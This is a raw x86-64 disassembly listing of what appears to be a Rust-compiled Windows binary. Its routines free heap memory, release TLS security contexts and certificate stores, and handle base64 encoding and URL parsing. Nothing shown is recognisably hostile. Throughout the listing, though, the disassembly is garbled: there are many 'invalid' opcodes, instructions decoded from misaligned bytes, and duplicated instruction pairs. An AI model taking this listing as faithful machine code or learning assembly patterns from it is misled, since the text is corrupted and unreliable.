mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 2
jmp 0x14009c06b
mov qword [rbx + 0x38], 0
xor eax, eax
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov esi, 0xc748ffff
cmp byte [r8], r8b
add byte [rax], al
add byte [rcx - 0xe768f8b], bh
and ecx, 3
mov eax, 1
add byte [rax], al
add byte [rax], al
cmp ecx, 1
jne 0x14009c13c
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14009c0e3
mov rcx, rdi
call rax
dec rsi
cmp qword [rbx + 8], 0
je 0x14009c10a
cmp qword [rbx + 0x10], 0x11
jb 0x14009c0f8
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
mov eax, 1
jmp 0x14009c131
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
xor esi, esi
jmp 0x14009c131
mov ecx, edi
dec rcx
mov rdi, rcx
iretd
cmp qword [rbx + 8], 0
je 0x14009c2b1
iretd
cmp qword [rbx + 0x10], 0x11
jb 0x14009c29f
invalid
add al, 0x48
mov esi, dword [rsi - 8]
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov eax, 1
jmp 0x14009c2e3
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
push rbx
or byte [rax], al
lea rdx, [0x14015b3f8]
mov rax, rsi
add rsp, 0x20
pop rsi
ret
add al, byte [rax]
add al, ch
cmp eax, 0xcc00085e
int3
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rax, qword [rcx + 0x1e8]
add al, dh
dec qword [rax]
add al, dh
dec qword [rax]
jne 0x14009c385
mov rcx, qword [rsi + 0x1e8]
call fcn.1400cadd0
add al, ch
invalid
lea rcx, [rsi + 0x1f0]
call qword [sym.imp.secur32.dll_DeleteSecurityContext]
cmp qword [rsi], 0
je 0x14009c3a4
mov rcx, qword [rsi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1a0]
shl rax, 1
test rax, rax
jne 0x14009c3c1
mov rax, qword [rsi + 0x200]
test rax, rax
jne 0x14009c3e3
jmp 0x14009c3fc
mov r8, qword [rsi + 0x1a8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x200]
test rax, rax
je 0x14009c3fc
lock dec qword [rax]
jne 0x14009c3fc
mov rcx, qword [rsi + 0x200]
mov rdx, qword [rsi + 0x208]
call case.0x14009a20c.177
cmp dword [rsi + 0x10], 2
jne 0x14009c417
lea rcx, [rsi + 0x18]
call fcn.1400978b0
cmp qword [rsi + 0x140], 0
jne 0x14009c42a
jmp case.0x140016398.3073
lea rcx, [rsi + 0x10]
call fcn.140097a00
cmp qword [rsi + 0x140], 0
je case.0x140016398.3073
mov r8, qword [rsi + 0x148]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x160], 0
je 0x14009c460
mov r8, qword [rsi + 0x168]
mov rcx, qword [0x14019f258]
add byte [rcx], dh
sar bh, cl
adc eax, 0x92fe0
add byte [rcx], dh
sar bh, cl
adc eax, 0x92fe0
cmp qword [rsi + 0x180], 0
je 0x14009c480
mov r8, qword [rsi + 0x188]
mov rcx, qword [0x14019f258]
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0x102de0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x1b8]
mov rcx, rax
neg rcx
jo 0x14009c4fd
mov rdi, qword [rsi + 0x1c8]
test rdi, rdi
je case.0x1400895f5.458
mov rbx, qword [rsi + 0x1c0]
add rbx, 8
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14009c4b9
add rbx, 0x18
dec rdi
je case.0x1400895f5.456
cmp qword [rbx - 8], 0
je 0x14009c4b0
mov r8, qword [rbx]
mov rcx, qword [0x14019f258]
xor edx, edx
call r14
jmp 0x14009c4b0
mov rax, qword [rsi + 0x1b8]
test rax, rax
je 0x14009c4fd
mov r8, qword [rsi + 0x1c0]
mov rcx, qword [0x14019f258]
or eax, 0x102d6d
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r13, qword [rdi + 0x400]
test r13, r13
je 0x14009c7ab
mov r12, qword [rdi + 0x410]
mov esp, dword [rdi + 0x410]
test r12, r12
test esp, esp
jne 0x14009c736
mov rcx, qword [rdi + 0x408]
test rcx, rcx
add byte [rax - 0x7b], cl
leave
je 0x14009c5f0
lea rax, [rcx + rbx]
cmp rax, 2
clc
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
clc
add cl, byte [rdi]
xchg byte [rdx + 0x41000000], ah
mov esp, 3
sub r12, rcx
jb 0x14009c824
mov r13, rbx
sub r13, r12
sub ebp, esp
jb 0x14009c812
invalid
mov qword [rdi + 0x408], 0
add byte [rax], al
add byte [rax], al
mov r15d, 4
mov ecx, 0x2fd
add bl, ch
invalid
add bl, ch
jns 0x14009c5f9
invalid
cmp rbx, 3
jae 0x14009c651
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rdx, r14
mov r8, rbx
call fcn.140121660
mov qword [rdi + 0x408], rbx
mov r13, rbx
jmp 0x14009c70a
mov rax, r13
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
lea r13, [rdx + rdx*2]
cmp r13, rcx
jb 0x14009c681
mov r13, rcx
mov rcx, qword [rdi + 0x418]
mov eax, 0x400
sub rax, r15
lea r9, [rdi + r15]
mov qword [rsp + 0x20], rax
mov rdx, r8
mov r8, r13
call fcn.140007270
mov byte [rdi + 0x423], 1
mov rsi, qword [rdi + 0x400]
test rsi, rsi
je 0x14009c7d5
mov rbp, rax
add rbp, r15
cmp rbp, 0x401
jae 0x14009c7ed
mov rax, qword [rsi]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, rbp
jb 0x14009c721
add rdx, qword [rsi + 8]
mov rcx, rdx
mov rdx, rdi
cli
mov r8, rbp
mov eax, ebp
call fcn.140121660
add qword [rsi + 0x10], rbp
mov byte [rdi + 0x423], 0
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rdi + 0x410], 0
add r13, r12
add ebp, esp
je 0x14009c782
cmp rbx, r13
jb 0x14009c7c3
add r14, r13
sub rbx, r13
jne 0x14009c540
jmp 0x14009c732
mov rcx, rsi
mov r8, rbp
call fcn.14012aee0
mov rdx, qword [rsi + 0x10]
jmp 0x14009c6dd
xor eax, eax
jmp 0x14009c789
mov byte [rdi + 0x423], 1
cmp r12, 0x401
jae 0x14009c835
lea rax, str.failed_to_write_whole_buffer
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.Cannot_write_more_after_calling_finish__f
lea r8, [0x14015b788]
mov edx, 0x28
call fcn.1401279a0
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_srciomod.rs
mov rcx, r13
mov rdx, rbx
call fcn.140122510
lea rcx, str.Writer_must_be_presentC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcwriteencoder.rs
lea r8, [0x14015b6d0]
mov edx, 0x16
call fcn.140122a20
lea r8, [0x14015b6e8]
mov edx, 0x400
mov rcx, rbp
call fcn.1401225f0
lea r8, [0x14015b718]
mov edx, 3
call fcn.140122580
lea r8, [0x14015b748]
mov rcx, r12
mov rdx, rbx
call fcn.1401225f0
lea r8, [0x14015b730]
mov edx, 3
call fcn.140122990
lea r8, [0x14015b6e8]
mov edx, 0x400
mov rcx, r12
call fcn.1401225f0
int3
and al, 0x20
mov qword [rsp + 0x28], 0
lea rdx, [0x14015b540]
lea rcx, [rsp + 0x20]
call fcn.140009870
mov ecx, eax
mov rax, qword [rsp + 0x28]
test cl, cl
je 0x14009c8c4
test rax, rax
jne 0x14009c92f
lea rax, str.a_formatting_trait_implementation_returned_an_error_when_the_underlying_stream_did_not
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_srciomod.rs
mov dh, 0xec
or eax, dword [rax]
mov dh, 0xec
or eax, dword [rax]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14009c92d
mov rsi, qword [rax - 1]
mov rdi, qword [rax + 7]
mov rdx, qword [rdi]
test rdx, rdx
je 0x14009c8e9
mov rcx, rsi
mov rbx, rax
call rdx
mov rax, rbx
dec rax
cmp qword [rdi + 8], 0
je 0x14009c91b
cmp qword [rdi + 0x10], 0x11
jae 0x14009c8ff
mov rdi, rax
jmp 0x14009c906
mov rdi, rax
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rdi
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
int3
invalid
and al, 0x31
add byte [rax - 0x75], cl
invalid
add byte [rax], al
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0xc8b0b
and byte [rax - 0x73], cl
adc eax, 0xc8b0b
lea rcx, [rsp + 0x28]
mov r8d, 4
call fcn.14000a380
xor eax, eax
cmp rax, qword [rsi]
jo 0x14009c9c9
lea rax, [0x14009ca60]
add eax, 0xb6
mov qword [rsp + 0x20], rax
lea rdx, [0x14015b836]
lea rcx, [rsp + 0x28]
mov r8d, 3
mov r9, rsi
call fcn.14000a380
cmp qword [rsi + 0x58], 0
je 0x14009c9fa
add rsi, 0x58
lea rax, [0x1400273c0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14015b839]
lea rcx, [rsp + 0x28]
mov r8d, 6
mov r9, rsi
call fcn.14000a380
movzx ecx, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x31]
mov edx, eax
not dl
or dl, cl
test dl, 1
je 0x14009ca13
or al, cl
jmp 0x14009ca4d
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x14009ca35
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14015fa49]
mov r8d, 2
jmp 0x14009ca4a
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140165d4b]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xc9307
mov r8d, 1
call qword [rax + 0x18]
sbb byte [rcx + rax], ah
and al, 1
add rsp, 0x38
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rax - 0x77], cl
invalid
div byte [rbp + 4]
xor eax, eax
jmp 0x14009cb37
xor al, 1
mov byte [rsp + 0x37], al
lea rax, [0x140042030]
in al, dx
push rsp
cli
dec dword [rax - 0x77]
and al, 0x20
in al, dx
push rsp
cli
dec dword [rax - 0x77]
and al, 0x20
lea rdx, [0x14015b5c1]
lea r14, [rsp + 0x38]
lea r9, [rsp + 0x37]
mov r8d, 0x10
mov rcx, r14
mov ecx, esi
mov ecx, esi
call fcn.14000a380
mov rcx, rbx
call fcn.1401119f0
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x20], r12
and al, 0x20
lea rdx, [0x14015b5d1]
adc eax, 0xbea48
lea r9, [rsp + 0x78]
mov r8d, 8
mov rcx, r14
call fcn.14000a380
mov rcx, rbx
call fcn.140111ac0
invalid
invalid
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rdx
lea r15, [0x14009d0c0]
mov qword [rsp + 0x20], r15
lea rdx, [0x14015b5d9]
lea r9, [rsp + 0x88]
mov r8d, 8
mov eax, 8
mov rcx, r14
call fcn.14000a380
movzx eax, byte [rbx + 0x40]
lea rcx, [0x140194b3c]
movsxd rax, dword [rcx + rax*4]
push rsp
jg 0x14009cbf6
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov byte [rsp + 0x50], 3
and al, 0x50
add ebp, ebx
jg 0x14009cb84
invalid
jmp 0x14009cc77
mov eax, dword [rbx + 0x41]
mov byte [rsp + 0x50], 1
mov byte [r12 + 0x50], 1
mov dword [rsp + 0x51], eax
and al, 0x51
jmp 0x14009cc77
movups xmm0, xmmword [rbx + 0x41]
movups xmmword [rsp + 0x51], xmm0
mov byte [rsp + 0x50], 2
jmp 0x14009cc77
mov r8d, dword [rbx + 0x34]
mov r9d, dword [rbx + 0x38]
cmp r8d, r9d
ja 0x14009cc49
test r8, r8
je 0x14009cc38
cmp rsi, r8
jbe 0x14009cc36
cmp byte [rdi + r8], 0xbf
jg 0x14009cc38
jmp 0x14009cc49
jne 0x14009cc49
test r9, r9
je 0x14009cc62
cmp rsi, r9
jbe 0x14009cc60
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
call fcn.140122bb0
jne 0x14009cc49
sub r9, r8
add r8, rdi
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x58], r8
pop rax
pop rax
mov qword [rsp + 0x60], r9
lea rax, [0x14009cfc0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14015b5e1]
lea r14, [rsp + 0x38]
lea r9, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov r8d, 4
mov rcx, r14
call fcn.14000a380
mov eax, dword [rbx + 0x28]
mov dword [rsp + 0x4c], eax
lea rax, [0x14009cec0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x14015b5e5]
invalid
sub ecx, ebp
or eax, dword [rax]
invalid
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x4c
invalid
lea r9, [rsp + 0x4c]
mov r8d, 4
mov rcx, r14
call fcn.14000a380
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.140111900
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdx
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x20
lea rdx, [0x1401664fc]
or al, 0
or al, 0
lea r9, [rsp + 0x98]
mov r8d, 4
mov rcx, r14
mov ecx, esi
call fcn.14000a380
mov r14d, dword [rbx + 0x24]
test byte [rbx + 0x18], 1
je 0x14009cd39
mov r8d, dword es:[rbx + 0x1c]
mov r8d, dword [rbx + 0x1c]
mov ebx, dword [rbx + 0x20]
inc r8d
test ebx, ebx
je 0x14009cd41
cmp r8d, r14d
ja 0x14009cd86
test r8, r8
je 0x14009cd75
cmp rsi, r8
jbe 0x14009cd73
cmp byte [rdi + r8], 0xbf
jg 0x14009cd75
jmp 0x14009cd86
mov ebx, dword [rbx + 0x20]
xor r8d, r8d
jmp 0x14009cdab
test r8, r8
je 0x14009cd6e
cmp rsi, r8
jbe 0x14009cd6c
cmp byte [rdi + r8], 0xbf
jg 0x14009cd6e
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r9, rsi
call fcn.140122bb0
jne 0x14009cd52
mov rax, rsi
jmp 0x14009cda5
jne 0x14009cd86
test r14, r14
je 0x14009cda2
cmp rsi, r14
jbe 0x14009cda0
cmp byte [rdi + r14], 0xbf
jg 0x14009cda2
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r9, r14
call fcn.140122bb0
jne 0x14009cd86
mov rax, r14
sub rax, r8
add r8, rdi
mov qword [rsp + 0xa8], r8
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x20], r15
lea rdx, [0x14015b5e9]
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0xa8]
test al, 0
add byte [rax], al
mov r8d, 5
call fcn.14000a380
test bl, 1
je 0x14009ce12
cmp byte [rbp + rcx*4 - 0x74], cl
and al, 0xa8
test al, 0
add byte [rax], al
mov r8d, 5
call fcn.14000a380
test bl, 1
je 0x14009ce12
ret
inc r14d
je 0x14009ce18
cmp rsi, r14
jbe 0x14009ce16
cmp byte [rdi + r14], 0xbf
jg 0x14009ce18
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, rsi
call fcn.140122bb0
xor edi, edi
jmp 0x14009ce1e
jne 0x14009cdf5
sub rsi, r14
add rdi, r14
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0x20], r15
lea rdx, [0x14015b5ee]
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0xb8]
mov r8d, 8
call fcn.14000a380
movzx ecx, byte [rsp + 0x40]
movzx eax, byte [rsp + 0x41]
mov edx, eax
not dl
or dl, cl
test dl, 1
je 0x14009ce6b
or al, cl
jmp 0x14009cea5
mov rax, qword [rsp + 0x38]
test byte [rax + 0x34], 4
jne 0x14009ce8d
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14015fa49]
mov r8d, 2
jmp 0x14009cea2
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140165d4b]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
add rsp, 0x40
pop rsi
ret
lea r8, [0x140194b4c]
movsxd rax, dword [r8 + rax*4]
jns 0x14009d1dd
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9b9]
jmp 0x14009d334
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9d5]
or eax, dword [rax]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9d5]
or eax, dword [rax]
or eax, dword [rax]
mov r8d, 4
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9c7]
or eax, dword [rax]
or eax, dword [rax]
mov r8d, 8
add rsp, 0x40
pop rsi
jmp rax
add rcx, 2
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015b9cf]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x1400ace70]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14009d342
mov al, 1
test dl, 1
jne 0x14009d363
cmp rcx, 1
jne 0x14009d346
mov rsi, qword [rsp + 0x28]
cmp byte [rsp + 0x31], 0
je 0x14009d34b
test byte [rsi + 0x34], 4
jne 0x14009d34b
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x14009d34b
jmp 0x14009d363
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9c0]
add bl, ch
invalid
add bl, ch
xor al, 0x48
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9d9]
or eax, dword [rax]
or eax, dword [rax]
mov r8d, 6
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015b9df]
mov r8d, 7
add rsp, 0x40
pop rsi
jmp rax
mov eax, edx
jmp 0x14009d363
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x40
pop rsi
ret
test bl, bl
jne 0x14009e7d0
xor eax, eax
xchg byte [r15], al
cmp al, 2
je 0x14009edda
test r14d, r14d
je 0x14009edec
mov bl, 5
cmp r14d, 1
je 0x14009ee8c
jmp 0x14009ee59
mov cs, word [rax]
add eax, 0x89480000
cli
call fcn.1401004e0
test al, al
jne 0x14009edb0
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x14009effa
add byte [rax], al
retf 0x3b9a
mov r14, qword [rsi + 0x508]
mov rcx, r14
call fcn.140106ed0
lea rcx, [r14 + 8]
test byte [r14], 1
je 0x14009efca
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14009efd8
invalid
add al, ch
ret
call fcn.14002e6b0
jmp 0x14009efd8
invalid
mov ecx, esp
mov r8, r15
call fcn.1400327c0
mov r15, rbx
mov ebx, edi
mov rdi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x4c8], 0x3b9aca00
je 0x14009edb0
test byte [rbp + 0x18], 1
sbb byte [r9], r8b
je 0x14009f0bd
add byte [rax], al
mov rdx, rax
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x18], 1
add byte [rax - 0x39], cl
and byte [r8], r8b
add byte [rax], al
add byte [rbx + 0x4e086], cl
add byte [rax + 0x3d], cl
add byte [rax], al
add byte [rcx], al
add byte [rax - 0x39], cl
and byte [r8], r8b
add byte [rax], al
add byte [rbx + 0x4e086], cl
add byte [rax + 0x3d], cl
add byte [rax], al
add byte [rcx], al
jne 0x14009eb74
invalid
mov rax, qword [rsi + 0x4c0]
cmp rax, 9
ja 0x14009ecc8
mov ecx, dword [rsi + 0x4e4]
inc ecx
mov dword [rsi + 0x4e4], ecx
cmp ecx, 2
mov r9, qword [rsp + 0x38]
mov r10d, dword [rsp + 0x34]
jae 0x14009ec75
jmp 0x14009ecc4
invalid
xorpd xmm0, xmm0
xorpd xmm1, xmm1
cmp r14d, 0x3b9aca00
je 0x14009eba6
movq xmm2, rdx
movd mm2, edx
punpckldq xmm2, xmmword [0x14012fb00]
subpd xmm2, xmmword [0x14012fb10]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
addsd xmm1, xmm2
xorps xmm2, xmm2
cvtsi2sd xmm2, r13d
divsd xmm2, qword [0x14012fb20]
addsd xmm2, xmm1
movsd xmm1, qword [rsi + 0x4d8]
movapd xmm3, xmm2
subsd xmm3, xmm1
mulsd xmm3, qword [0x14012fb28]
movsd xmm4, qword [rsi + 0x4d0]
addsd xmm3, xmm1
cmpeqsd xmm0, xmm1
andpd xmm2, xmm0
push rsp
shl byte [rsi + 0xf], 1
push rbp
ret
orpd xmm0, xmm2
movlpd qword [rsi + 0x4d8], xmm0
movq xmm2, rcx
punpckldq xmm2, xmmword [0x14012fb00]
adc eax, 0x90efc
subpd xmm2, xmmword [0x14012fb10]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
mulsd xmm0, qword [0x14012fb30]
wbinvd
add dl, dh
addps xmm1, xmm2
divsd xmm1, xmm0
ucomisd xmm4, xmm1
mov r9, qword [rsp + 0x38]
mov r10d, dword [rsp + 0x34]
ja 0x14009ec55
invalid
movsd qword [rsi + 0x4d0], xmm1
add rax, rax
movabs rdx, 0x5555555555555556
mul rdx
cmp rdx, rcx
jbe 0x14009ecec
mov rax, qword [rsi + 0x4c0]
cmp rax, 9
ja 0x14009ecc4
mov ecx, dword [rsi + 0x4e4]
inc ecx
mov dword [rsi + 0x4e4], ecx
add al, 0
add bh, bh
ror dword [rcx + 0x4e48e], 0
cmp ecx, 2
jb 0x14009ecc4
mov ecx, dword [rsi + 0x4c8]
lea edx, [rcx*4]
add byte [rax], al
add byte [rcx - 0x77], al
rol byte [rcx - 0x3f], 1
call 0x100733995
or dword [rbx + 4], 0
add byte [rax], al
add byte [rcx - 0x77], al
rol byte [rcx - 0x3f], 1
call 0x100733995
or dword [rbx + 4], 0
shr r8, 0x27
imul r8d, r8d, 0x3b9aca00
invalid
cmp eax, dword [rcx + rbp - 0x3e]
imul rcx, rcx, 0x44b82fa1
shr rcx, 0x3a
lea rax, [rcx + rax*4]
mov qword [rsi + 0x4c0], rax
add byte [rcx + 0x4c896], cl
add bh, al
xchg ah, ah
add al, 0
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rcx + 0x4c896], cl
add bh, al
xchg ah, ah
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
jmp 0x14009ed44
xor ecx, ecx
mov r9, qword [rsp + 0x38]
mov r10d, dword [rsp + 0x34]
jmp 0x14009ed44
adc dword [rcx], eax
jmp 0x14009e7d0
add rcx, rcx
cmp rcx, 0x1000000
add byte [rax], al
add byte [rcx], al
mov r12d, 0x1000000
cmovb r12, rcx
loope 0x14009ed45
mov dword [rsi + 0x4e0], esp
loope 0x14009ed45
mov dword [rsi + 0x4e0], esp
mov dword [rsi + 0x4e4], 0
mov rcx, qword [rsi + 0x4c0]
mov edx, dword [rsi + 0x4c8]
xchg esi, eax
enter 4, 0
xchg esi, eax
enter 4, 0
mov rax, rcx
shr rax, 1
shr eax, 1
shr edx, 1
lea r8d, [rdx + 0x1dcd6500]
test cl, 1
cmove r8d, edx
ret 0x8948
xchg al, al
add al, 0
add byte [rcx + rcx*4 - 0x7a], al
enter 4, 0
mov cl, 1
ret 0x8948
add r9, rax
add ecx, eax
jb 0x14009f069
add r10d, dword [rsi + 0x4c8]
cmp r10d, 0x3b9aca00
jb 0x14009ed9d
cmp r9, 0xffffffffffffffff
je 0x14009f069
add r10d, 0xc4653600
inc r9
cmp r10d, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rdx + 0x23]
add dl, cl
invalid
mov eax, r10d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r9, rax
jb 0x14009f0d5
imul eax, eax, 0x3b9aca00
sub r10d, eax
mov qword [rbp + 0x38], r9
mov dword [rbp + 0x40], r10d
mov dword [rbp + 0x40], edx
mov dword [rbp + 0x40], edx
xor r14d, r14d
test cl, cl
jne 0x14009e7b9
test bl, bl
jne 0x14009edc7
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add byte [rbp - 0x7b], al
test byte [rdi], 0x85
cli
stc
invalid
invalid
add r9b, byte [r9]
add byte [rbp - 0x7b], al
test byte [rdi], 0x85
cli
stc
invalid
mov rcx, qword [rsi + 0x408]
mov edx, r12d
mov edx, esp
mov edx, esp
loop 0x14009eddf
call fcn.1400c9f50
cmp dword [rsi + 0x440], 2
add byte [rax], al
invalid
push rbp
mov cl, 2
add byte [rbx + 0x440be], al
add byte [rax], al
invalid
jb 0x14009ee80
mov qword [rsi + 0x440], 0
add byte [rax], al
add byte [rax], al
mov dword [rsi + 0x44c], 0
mov dword [rsi + 0x454], 0
add bh, al
xchg byte [rsp + rax], bl
add byte [rcx], al
add byte [rax], al
invalid
add bh, al
xchg byte [rsp + rax], bl
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x5a], al
invalid
add dword [rax], eax
add byte [rax], al
mov dword [rsi + 0x460], r12d
mov dword [rsi + 0x464], 0
mov dword [rsi + 0x46c], 0
mov dword [rsi + 0x474], 0
mov byte [rsi + 0x47c], 0
add byte [rax], al
add byte [rax], al
add bh, al
xchg byte [rsp + rax], dh
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rsp + rax], bh
add byte [rax], al
lea rcx, [rsp + 0x88]
mov rdx, rsi
mov r8, rdi
